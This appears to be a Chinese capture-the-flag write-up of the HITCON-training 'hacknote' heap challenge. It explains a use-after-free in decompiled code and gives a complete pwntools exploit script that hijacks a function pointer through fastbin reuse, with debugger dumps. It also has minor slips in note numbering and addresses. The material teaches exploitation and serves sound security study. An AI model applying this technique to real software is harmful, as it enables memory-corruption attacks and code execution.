Use After Free

例子

这里我们以 HITCON-training 中的 lab 10 hacknote 为例。

基本信息

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

主要开启了 canary 保护与 nx 保护。

功能分析

我们可以简单分析下程序,可以看出在程序的开头有个 menu 函数,其中有

  puts(" 1. Add note          ");
  puts(" 2. Delete note       ");
  puts(" 3. Print note        ");
  puts(" 4. Exit              ");

故而程序应该主要有 3 个功能。之后程序会根据用户的输入执行相应的功能。

add_note

根据程序,我们可以看出程序最多可以添加 5 个 note。每个 note 有两个字段 put 与 content,其中 put 会被设置为一个函数,其函数会输出 content 具体的内容。

unsigned int add_note()
{
  note *v0; // ebx
  signed int i; // [esp+Ch] [ebp-1Ch]
  int size; // [esp+10h] [ebp-18h]
  char buf; // [esp+14h] [ebp-14h]
  unsigned int v5; // [esp+1Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  if ( count <= 5 )
  {
    for ( i = 0; i <= 4; ++i )
    {
      if ( !notelist[i] )
      {
        notelist[i] = malloc(8u);
        if ( !notelist[i] )
        {
          puts("Alloca Error");
          exit(-1);
        }
        notelist[i]->put = print_note_content;
        printf("Note size :");
        read(0, &buf, 8u);
        size = atoi(&buf);
        v0 = notelist[i];
        v0->content = malloc(size);
        if ( !notelist[i]->content )
        {
          puts("Alloca Error");
          exit(-1);
        }
        printf("Content :");
        read(0, notelist[i]->content, size);
        puts("Success !");
        ++count;
        return __readgsdword(0x14u) ^ v5;
      }
    }
  }
  else
  {
    puts("Full");
  }
  return __readgsdword(0x14u) ^ v5;
}

print_note

print_note 就是简单的根据给定的 note 的索引来输出对应索引的 note 的内容。

unsigned int print_note()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( notelist[v1] )
    notelist[v1]->put(notelist[v1]);
  return __readgsdword(0x14u) ^ v3;
}

delete_note

delete_note 会根据给定的索引来释放对应的 note。但是值得注意的是,在 删除的时候,只是单纯进行了 free,而没有设置为 NULL,那么显然,这里是存在 Use After Free 的情况的。

unsigned int del_note()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( notelist[v1] )
  {
    free(notelist[v1]->content);                // 内存释放之后,并没有将指针设置为NULL
    free(notelist[v1]);
    puts("Success");
  }
  return __readgsdword(0x14u) ^ v3;
}

利用分析

我们可以看到 Use After Free 的情况确实可能会发生,那么怎么可以让它发生并且进行利用呢?需要同时注意的是,这个程序中还有一个 magic 函数

int magic()
{
  return system("cat /home/hacknote/flag");
}

我们有没有可能来通过 use after free 来使得这个程序执行 magic 函数呢?一个很直接的想法是修改 note 的 put 字段为 magic 函数的地址,从而实现在执行 print note 的时候执行 magic 函数。 那么该怎么执行呢?

我们可以简单来看一下每一个 note 生成的具体流程

  1. 程序申请 8 字节内存用来存放 note 中的 put 以及 content 指针。
  2. 程序根据输入的 size 来申请指定大小的内存,然后用来存储 content。
   +-----------------+                       
   |   put           |                       
   +-----------------+                       
   |   content       |       size              
   +-----------------+------------------->+----------------+
                                          |     real       |
                                          |    content     |
                                          |                |
                                          +----------------+

显然 note 是一个 fastbin chunk(大小为 16 字节)。
我们的目的是希望一个 note 的 put 字段为 magic 的函数地址,那么我们必须想办法让某个 note 的 put 指针被覆盖为 magic 地址。由于程序中只有唯一的地方对 put 进行赋值。所以我们必须利用写 real content 的时候来进行覆盖。具体采用的思路如下:

  • 申请 note0,real content size 为 16(大小与 note 大小所在的 bin 不一样即可)
  • 申请 note1,real content size 为 16(大小与 note 大小所在的 bin 不一样即可)
  • 释放 note0
  • 释放 note1
  • 此时,大小为 16 的 fast bin chunk 中链表为 note1->note0
  • 申请 note2,并且设置 real content 的大小为 8,那么根据堆的分配规则,note2 其实会分配 note1 对应的内存块
  • real content 对应的 chunk 其实是 note0
  • 如果我们这时候向 note2 real content 的 chunk 部分写入 magic 的地址,那么由于我们没有 note0 为 NULL。当我们再次尝试输出 note0 的时候,程序就会调用 magic 函数。

利用脚本

# coding=utf8

from pwn import *
r = process('./hacknote')

def addnote(size, content):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)


def delnote(idx):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))


def printnote(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))


#gdb.attach(r)
magic = 0x08048986

addnote(32, "aaaa") # add note 0
addnote(32, "ddaa") # add note 1

#gdb.attach(r)
delnote(0) # delete note 0
delnote(1) # delete note 1

addnote(8, p32(magic)) # add note 2

printnote(0) # print note 0

r.interactive()

添加两个note之后,查看heap

addnote(32, “aaaa”) # add note 0
addnote(32, “ddaa”) # add note 1
在这里插入图片描述

删除两个note之后,查看bins

在这里插入图片描述

查看notelist

pwndbg> x/20xw 0x0804A070
0x804a070 <notelist>:	0x0804b008	0x0804b040	0x00000000	0x00000000
0x804a080 <notelist+16>:	0x00000000	0x00000000	0x00000000	0x00000000

可知,note0 note2 内存释放之后,其对应的指针并没有被设置为NULL

申请 note2,并且设置 real content 的大小为 8,查看bins

addnote(8, p32(magic)) # add note 2

pwndbg> bins
fastbins
0x10: 0x0
0x18: 0x0
0x20: 0x0
0x28: 0x804b048 —▸ 0x804b010 ◂— 0x0
0x30: 0x0
0x38: 0x0
0x40: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

查看notelist

pwndbg> x/10xw 0x0804A070
0x804a070 <notelist>:	0x0804b008	0x0804b040	0x0804b040	0x00000000

可知,释放的note1堆块分配给了 note2
note2 的 content 对应的chunk 为 note0

向 note2 real content 的 chunk 部分写入 magic 的地址,覆盖了 note0 的 put 函数指针为 magic 函数指针。

看一下覆盖前的情况,可以看到该内存块的 put 指针已经被置为 NULL 了,这是由 fastbin 的 free 机制决定的。

pwndbg> x/10xw 0x0804b008
0x804b008:	0x00000000	0x0804b018

覆盖后,具体的值如下

pwndbg> x/10xw 0x0804b008
0x98f7008:	0x08048986  0x0804b018
可以看出,确实已经被覆盖为我们所想要的 magic 函数了。

标题最后执行的效果如下

[*] Switching to interactive mode
cat: flag: No such file or directory
----------------------
       HackNote       
----------------------
 1. Add note          
 2. Delete note       
 3. Print note        
 4. Exit   
 
 **cat: flag: No such file or directory**
 是因为执行 
    system("cat /home/hacknote/flag");
 语句时,本地没有 /home/hacknote/flag 此目录,但是可以知道执行了system语句

原文链接

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/use_after_free-zh/

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值